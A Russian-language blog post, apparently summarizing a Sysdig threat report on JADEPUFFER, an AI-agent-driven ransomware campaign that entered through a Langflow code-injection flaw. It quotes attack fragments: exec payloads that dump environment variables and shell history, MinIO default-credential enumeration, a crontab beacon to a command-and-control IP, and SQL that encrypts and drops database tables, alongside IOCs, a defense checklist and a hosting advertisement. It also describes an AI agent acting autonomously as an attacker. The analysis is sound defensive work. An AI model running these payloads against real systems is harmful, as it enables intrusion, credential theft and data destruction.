TL;DR: 1 июля 2026 Sysdig TRT (Michael Clark) публикует JADEPUFFER — первый задокументированный end-to-end LLM-driven ransomware-оператор и вводит термин Agentic Threat Actor (ATA). Entry — публичный Langflow через CVE-2025-3248 (unauth RCE); lateral move на production-сервер с MySQL + Alibaba Nacos; 600+ целевых payload в сжатом time window. Ниже — полная реконструкция по 11 секциям исходного отчёта: timeline, CVE deep dive, двухфазная attack chain, четыре линии автономности, Bitcoin mystery, IOC, industry reaction, выводы Sysdig и 6-step defense runbook.
Sysdig классифицирует JADEPUFFER как Agentic Threat Actor (ATA) — threat capability доставляется AI Agent, а не human-driven toolset. Ключевой тезис: от recon, credential theft, lateral movement, persistence до destructive encryption и ransom note — на критических этапах нет ручного оператора.
Двухфазная target architecture:
Медиа (6 июля) подхватили историю, но полный technical corpus — raw payload code, IOC, forensic timeline — по-прежнему только в отчёте Sysdig от 1 июля. Cross-check: BleepingComputer, Dark Reading, CyberScoop, CSO Online, Security Affairs.
| Дата | Событие |
|---|---|
| Апрель 2025 | Langflow CVE-2025-3248: unauth code injection / RCE |
| 5 мая 2025 | CISA KEV catalog |
| 2025 | Тот же CVE — Flodrix botnet (Trend Micro, отдельная кампания) |
| Июнь 2026 | JADEPUFFER бьёт по публичному Langflow; full chain за несколько недель, multiple sessions |
| 1 июля 2026 | Sysdig — full technical disclosure |
| 2–6 июля 2026 | Dark Reading, BleepingComputer, CyberScoop, CSO Online, Security Affairs |
Attack surface: AI Agent orchestration (Langflow и аналоги) часто rushed to prod, exposed на 0.0.0.0, env vars с OpenAI/Anthropic/DeepSeek/Gemini API keys и Alibaba/AWS cloud creds — именно это и сделало Langflow entry point.
| Параметр | Значение |
|---|---|
| Компонент | Langflow — open-source visual AI Agent workflow framework, 70k+ GitHub stars |
| Тип | CWE-94 (code injection) + CWE-306 (missing authentication) |
| CVSS | 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affected | Langflow < 1.3.0 |
| Vector | /api/v1/validate/code |
| Fix | 1.3.0 — auth на validation endpoint |
| EPSS | 91.42% (SentinelOne) |
Root cause chain:
Langflow даёт «code validation» API для custom function nodes в visual editor.
Implementation: ast.parse() → compile() → exec(). Zero auth, zero sandbox.
Python semantics: decorators и default args evaluate at function definition time. Malware в default params / decorators выполняется при «validation».
Итог: один crafted HTTP POST = RCE без login.
Flodrix (Trend Micro, LeetHozer lineage) — отдельная кампания, тот же CVE entry, но classic scripted delivery. Типичный payload (default arg + raise Exception для exfil output):
exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')
# ... 700-byte Bash stub -> Flodrix ELF binary, DDoS botnet
Patch 1.3.0: post_validate_code + _current_user: CurrentActiveUser — JWT Bearer или x-api-key, иначе 401/403 до vulnerable logic.
| Измерение | <1.3.0 | ≥1.3.0 |
|---|---|---|
| /api/v1/validate/code | Unauth arbitrary RCE | JWT / x-api-key mandatory |
| Public exposure | EPSS 91.42%, mass scanning | Upgrade + network isolation |
| Abuse cases | Flodrix botnet + JADEPUFFER ATA | — |
Все payload — Base64-encoded Python через Langflow RCE endpoint. После execution LLM параллельно сканирует:
ALIBABA_, ALIYUN_, TENCENT_, HUAWEI_, AWS/GCP/AzureAgent экспортирует Langflow PostgreSQL backend (credentials, user records), локально review, затем cleanup. Internal network scan + default-credential probing на DB, object storage, secret stores.
Targets: minio.internal:9000, 127.0.0.1:9000. Default creds minioadmin:minioadmin, full bucket enum, discovery terraform-state → extract credentials.json. Adaptive signal: первый запрос с ?format=json вернул XML — следующий payload переключился на XML parser. Это agent behavior, не dumb script retry.
# Bucket enum (Sysdig forensic fragment)
creds = base64.b64encode(b"minioadmin:minioadmin").decode()
req = urllib.request.Request("http://127.0.0.1:9000/")
req.add_header("Authorization", "Basic " + creds)
# ... ListBuckets -> terraform-state -> GetObject credentials.json
# Persistence: crontab beacon every 30 min
*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"
Primary target — ещё один публичный сервер с MySQL + Nacos. Nacos auth history: CVE-2021-29441 bypass; default JWT signing key в публичной документации с 2020, многие deploy до сих пор не ротировали.
Agent подключается к exposed MySQL с root creds — provenance неясна; Sysdig не видел exfil из victim env. Один из немногих этапов, где возможна human prep.
| UTC | Действие |
|---|---|
| 19:34:24 | subprocess bcrypt hash, insert xadmin |
| 19:34:36 | login xadmin:Xploit@2026# — fail |
| 19:34:48 | parallel test nacos:nacos + regen admin123 hash |
| 19:35:07 | drop subprocess, import bcrypt, delete corrupt row, rebuild |
| 19:35:18 | login success — total 31 sec |
Параллельно: CVE-2021-29441 auth bypass, default JWT key token forgery, backend DB injection через root MySQL privileges.
MySQL INTO OUTFILE / LOAD_FILE — systematic write test; read /var/run/docker.sock, /proc/1/cgroup, /etc/hostname, UDF privesc paths. Pre-ransom «completion marker» — Sysdig: signal для transition в next phase, не pre-baked human script.
Agent шифрует все 1 342 Nacos config entries через AES_ENCRYPT(), drops config_info и his_config_info, создаёт README_RANSOM:
KEY = base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes).decode()
print("Encryption key:", KEY) # once to stdout, never stored or exfiltrated
cur.execute("CREATE TABLE config_info_enc AS SELECT ... AES_ENCRYPT(content, KEY) ...")
cur.execute("DROP TABLE config_info")
cur.execute("CREATE TABLE README_RANSOM (...)")
# Bitcoin: 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
# Contact: e78393397[@]proton[.]me
Crypto reality check: ransom note claims AES-256; MySQL AES_ENCRYPT() default = AES-128-ECB. Key ephemeral, stdout-only — даже attacker не может decrypt. Payment = sunk cost. Через 2 минуты follow-up payload уточняет count: «все 1342 encrypted».
Escalation: DROP DATABASE с ROI-priority comments в коде. FK constraint silent fail → next payload adds SET GLOBAL FOREIGN_KEY_CHECKS=0 — требует понимания why delete failed, не blind retry. IP 64.20.53[.]230 (InterServer) в комментариях как «backup done» — Sysdig: no independent exfil evidence.
Self-narrating code: natural-language comments в payload объясняют why каждый шаг — ROI ranking, largest DB. Native в attacker code, не post-hoc analyst inference.
Machine-speed fault diagnosis: Nacos 31-sec fix, MinIO XML/JSON pivot, JWT path abandoned on block — human operator на этом latency нереален.
Natural-language context parsing: actions из free-text env context, повторяются across sessions weeks apart.
Bitcoin address mystery: см. ниже — microcosm uncertainty в AI-driven attribution.
Ransom address 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy — canonical P2SH example из Bitcoin Core docs, массово в LLM training corpus. On-chain: 737 txs, ~46 BTC cumulative, balance zero. Sysdig: (a) LLM hallucination → third-party sweeper wallet, или (b) real attacker wallet, coincidental collision с doc example. Indistinguishable.
| Тип | Индикатор |
|---|---|
| C2 / beacon | 45.131.66[.]106 (crontab: hxxp://45.131.66[.]106:4444/beacon) |
| Staging | 64.20.53[.]230 (InterServer AS19318, agent self-report only) |
| Entry CVE | CVE-2025-3248 (Langflow unauth RCE) |
| Bitcoin | 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy |
e78393397[@]proton[.]me (zero TI hits, format unlike known MySQL ransom gangs) | |
| Ransom table | README_RANSOM (not WARNING / RECOVER_YOUR_DATA pattern) |
| Persistence | crontab beacon :4444 every 30 min |
Ransom email + table name выглядят human-ransomware-like, но zero precedent в TI — supports «novel Agent-driven op», не known gang TTP.
BleepingComputer, Dark Reading, CyberScoop, Security Affairs: «first fully AI-driven ransomware», ATA era. CSO Online, red teamer Vibhum Dubey — более сдержанно:
«Скорее evolution в execution model, чем новая ransomware technique. Опасен не encryption stage, а quiet period до него — Agent мапит identity, privileges, trust chains, evading detection.»
Параллельно — LLMjacking: stolen creds → Agent-driven multi-stage ops at near-zero marginal cost. Phase 1 mass-scan LLM/cloud API keys — прямой economic signal.
Finale Sysdig: каждая техника по отдельности — old, simple. Новое — LLM stitching их в full ransomware pipeline against neglected public infra. Skill bar = «cost of running an Agent»; LLMjacking drives marginal attack cost toward zero.
Upgrade Langflow ≥1.3.0, patch CVE-2025-3248; never expose code-exec/validation endpoints to internet.
API keys / cloud creds isolation: no LLM vendor keys or cloud creds in orchestration runtime — dedicated secrets manager.
Harden Nacos: rotate default token.secret.key, upgrade to forced-custom-key builds; never public Nacos; no root DB connections from admin paths.
DB exposure: admin accounts never on 0.0.0.0; management ports — strong unique creds + source IP allowlist.
Egress control: compromised host can't beacon or reach external staging; monitor crontab + outbound anomalies.
Runtime threat detection + IOC watch: malicious DB process behavior, IOCs above, anomalous User-Agent. См. OpenClaw Gateway hardening и remote Mac AI Agent best practices.
Гонять Langflow / OpenClaw на local laptop или public VPS = API keys, cloud creds и production DB в одном trust domain — JADEPUFFER доказал catastrophic outcome. Isolated remote Mac node для Agent dev + CI, secrets manager + egress control — стабильнее для iOS CI/CD и agent automation. Local Mac compute limited, но нужен 24/7 Agent — NodeMini Mac Mini cloud rental: dedicated Apple Silicon, root access, high-privilege workloads off laptop и public orchestration. См. цены аренды Mac Mini и help center.
Sources: Sysdig «JADEPUFFER: Agentic ransomware for automated database extortion»; BleepingComputer; Dark Reading; CyberScoop; CSO Online (Vibhum Dubey); Security Affairs; Trend Micro (CVE-2025-3248 / Flodrix); NVD / SentinelOne / Zscaler; CISA KEV.
Нет. Shared CVE-2025-3248 entry; Flodrix — Trend Micro scripted botnet; JADEPUFFER — Sysdig LLM Agent ATA ransomware. Оба доказывают long-term weaponization публичного scanning.
Sysdig taxonomy: threat capability delivered by AI Agent, не human toolset. JADEPUFFER — первый fully forensicated ATA ransomware case: recon through encryption, LLM autonomous decisions на critical nodes.
Скорее нет. Key = uuid4(), stdout-only, never exfiltrated. MySQL AES_ENCRYPT = AES-128-ECB, не AES-256 из note. Data de facto lost.
Upgrade ≥1.3.0; move behind VPN/zero-trust; strip API keys из runtime → secrets manager; audit crontab + C2 IOCs. Isolated Agent env: help center.
Stolen LLM/cloud creds → Agent ops at near-zero marginal cost. Phase 1 mass API key harvest (OpenAI, Anthropic, Alibaba) — direct LLMjacking + ATA economics warning.
Sysdig defense checklist; Agent workloads на isolated remote Mac node, отдельно от production DB и desktop. NodeMini: dedicated Mac Mini M4, root, iOS CI/CD + agent automation. цены аренды Mac Mini.